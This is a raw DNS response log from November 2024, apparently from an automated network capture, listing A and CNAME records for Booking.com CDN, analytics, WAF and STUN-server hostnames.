Nov 2, 2024 14:00:05.376203060 CET	1.1.1.1	192.168.2.5	0x4c42	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:05.377495050 CET	1.1.1.1	192.168.2.5	0x6b16	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.050504923 CET	1.1.1.1	192.168.2.5	0x85f9	No error (0)	cdn.cookielaw.org		104.18.86.42	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.050504923 CET	1.1.1.1	192.168.2.5	0x85f9	No error (0)	cdn.cookielaw.org		104.18.87.42	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.050811052 CET	1.1.1.1	192.168.2.5	0xf030	No error (0)	cdn.cookielaw.org			65	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.171.75	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.171.105	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.171.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.051527023 CET	1.1.1.1	192.168.2.5	0xbf62	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.171.29	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.052391052 CET	1.1.1.1	192.168.2.5	0x3345	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.052391052 CET	1.1.1.1	192.168.2.5	0x3345	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.6	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.101	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.15	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.075723886 CET	1.1.1.1	192.168.2.5	0x9e42	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.078705072 CET	1.1.1.1	192.168.2.5	0x39cb	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:06.078705072 CET	1.1.1.1	192.168.2.5	0x39cb	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.113584995 CET	1.1.1.1	192.168.2.5	0x4373	No error (0)	skynetx.com.br		24.152.39.120	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.119066000 CET	1.1.1.1	192.168.2.5	0x549d	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.119076967 CET	1.1.1.1	192.168.2.5	0x3f8c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 2, 2024 14:00:07.303231001 CET	1.1.1.1	192.168.2.5	0x2007	No error (0)	cdn.cookielaw.org		104.18.87.42	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.303231001 CET	1.1.1.1	192.168.2.5	0x2007	No error (0)	cdn.cookielaw.org		104.18.86.42	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.303363085 CET	1.1.1.1	192.168.2.5	0x938f	No error (0)	cdn.cookielaw.org			65	IN (0x0001)	false
Nov 2, 2024 14:00:07.435453892 CET	1.1.1.1	192.168.2.5	0x7b1a	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.435453892 CET	1.1.1.1	192.168.2.5	0x7b1a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.42	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.435453892 CET	1.1.1.1	192.168.2.5	0x7b1a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.8	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.435453892 CET	1.1.1.1	192.168.2.5	0x7b1a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.435453892 CET	1.1.1.1	192.168.2.5	0x7b1a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.19	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.437237024 CET	1.1.1.1	192.168.2.5	0x6bea	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.75	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.26	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.12	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.462548971 CET	1.1.1.1	192.168.2.5	0x2227	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.74	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.464612007 CET	1.1.1.1	192.168.2.5	0x97b	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.465519905 CET	1.1.1.1	192.168.2.5	0x9539	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.465519905 CET	1.1.1.1	192.168.2.5	0x9539	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.32	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.465519905 CET	1.1.1.1	192.168.2.5	0x9539	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.128	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.465519905 CET	1.1.1.1	192.168.2.5	0x9539	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.72	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.465519905 CET	1.1.1.1	192.168.2.5	0x9539	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.19	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.493005991 CET	1.1.1.1	192.168.2.5	0xdfd3	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:07.493005991 CET	1.1.1.1	192.168.2.5	0xdfd3	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:11.979373932 CET	1.1.1.1	192.168.2.5	0x7eda	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:11.979373932 CET	1.1.1.1	192.168.2.5	0x7eda	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:11.982306004 CET	1.1.1.1	192.168.2.5	0xace8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:13.648350000 CET	1.1.1.1	192.168.2.5	0xe1b7	No error (0)	geolocation.onetrust.com		172.64.155.119	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:13.648350000 CET	1.1.1.1	192.168.2.5	0xe1b7	No error (0)	geolocation.onetrust.com		104.18.32.137	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:13.648746014 CET	1.1.1.1	192.168.2.5	0x5d5e	No error (0)	geolocation.onetrust.com			65	IN (0x0001)	false
Nov 2, 2024 14:00:14.432724953 CET	1.1.1.1	192.168.2.5	0x78ce	No error (0)	geolocation.onetrust.com		172.64.155.119	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:14.432724953 CET	1.1.1.1	192.168.2.5	0x78ce	No error (0)	geolocation.onetrust.com		104.18.32.137	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:14.433165073 CET	1.1.1.1	192.168.2.5	0x633f	No error (0)	geolocation.onetrust.com			65	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806214094 CET	1.1.1.1	192.168.2.5	0xf81	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806941986 CET	1.1.1.1	192.168.2.5	0x9107	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.806941986 CET	1.1.1.1	192.168.2.5	0x9107	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.92	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.93	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.62	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.807440042 CET	1.1.1.1	192.168.2.5	0x8d2d	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.110	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.809009075 CET	1.1.1.1	192.168.2.5	0x4df9	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.809009075 CET	1.1.1.1	192.168.2.5	0x4df9	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:15.809009075 CET	1.1.1.1	192.168.2.5	0x4df9	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.92	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.93	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.62	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892904997 CET	1.1.1.1	192.168.2.5	0x1ab7	No error (0)	d2i5gg36g14bzn.cloudfront.net		108.138.233.110	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892991066 CET	1.1.1.1	192.168.2.5	0xaa82	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892991066 CET	1.1.1.1	192.168.2.5	0xaa82	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.892991066 CET	1.1.1.1	192.168.2.5	0xaa82	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.948523998 CET	1.1.1.1	192.168.2.5	0x5a9b	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.948523998 CET	1.1.1.1	192.168.2.5	0x5a9b	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.949212074 CET	1.1.1.1	192.168.2.5	0x8ea8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.958513021 CET	1.1.1.1	192.168.2.5	0xeea3	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.015043974 CET	1.1.1.1	192.168.2.5	0xd60e	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031471968 CET	1.1.1.1	192.168.2.5	0xd5e7	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031471968 CET	1.1.1.1	192.168.2.5	0xd5e7	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031743050 CET	1.1.1.1	192.168.2.5	0x7355	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.245.31.103	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031743050 CET	1.1.1.1	192.168.2.5	0x7355	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.245.31.43	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031743050 CET	1.1.1.1	192.168.2.5	0x7355	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.245.31.86	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.031743050 CET	1.1.1.1	192.168.2.5	0x7355	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.245.31.106	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.032788992 CET	1.1.1.1	192.168.2.5	0x66a7	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.035235882 CET	1.1.1.1	192.168.2.5	0xa9a8	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.044231892 CET	1.1.1.1	192.168.2.5	0xc73a	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.044231892 CET	1.1.1.1	192.168.2.5	0xc73a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.044231892 CET	1.1.1.1	192.168.2.5	0xc73a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.044231892 CET	1.1.1.1	192.168.2.5	0xc73a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.044231892 CET	1.1.1.1	192.168.2.5	0xc73a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.15	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.6	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.101	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.118194103 CET	1.1.1.1	192.168.2.5	0x2275	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.146847963 CET	1.1.1.1	192.168.2.5	0x50c7	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:17.146847963 CET	1.1.1.1	192.168.2.5	0x50c7	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:18.524943113 CET	1.1.1.1	192.168.2.5	0x6584	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:18.524943113 CET	1.1.1.1	192.168.2.5	0x6584	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:18.525599957 CET	1.1.1.1	192.168.2.5	0x23b6	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:21.979533911 CET	1.1.1.1	192.168.2.5	0xd6e9	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:21.979533911 CET	1.1.1.1	192.168.2.5	0xd6e9	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:21.979533911 CET	1.1.1.1	192.168.2.5	0xd6e9	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:21.979533911 CET	1.1.1.1	192.168.2.5	0xd6e9	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.045221090 CET	1.1.1.1	192.168.2.5	0x99ac	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.045221090 CET	1.1.1.1	192.168.2.5	0x99ac	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.120873928 CET	1.1.1.1	192.168.2.5	0xdb19	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.208	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.209	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.210	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.211	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.212	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.215	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.216	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.122428894 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		163.181.131.217	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.499094963 CET	1.1.1.1	192.168.2.5	0x6455	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.499094963 CET	1.1.1.1	192.168.2.5	0x6455	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.499094963 CET	1.1.1.1	192.168.2.5	0x6455	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.526917934 CET	1.1.1.1	192.168.2.5	0x64f8	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.526917934 CET	1.1.1.1	192.168.2.5	0x64f8	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.526917934 CET	1.1.1.1	192.168.2.5	0x64f8	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534341097 CET	1.1.1.1	192.168.2.5	0xe948	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534341097 CET	1.1.1.1	192.168.2.5	0xe948	No error (0)	natisevil.aasip.co.uk		81.187.30.115	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534390926 CET	1.1.1.1	192.168.2.5	0x194e	No error (0)	stun.12voip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534390926 CET	1.1.1.1	192.168.2.5	0x194e	No error (0)	stun.12voip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534390926 CET	1.1.1.1	192.168.2.5	0x194e	No error (0)	stun.12voip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534390926 CET	1.1.1.1	192.168.2.5	0x194e	No error (0)	stun.12voip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534785986 CET	1.1.1.1	192.168.2.5	0x6574	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.534785986 CET	1.1.1.1	192.168.2.5	0x6574	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
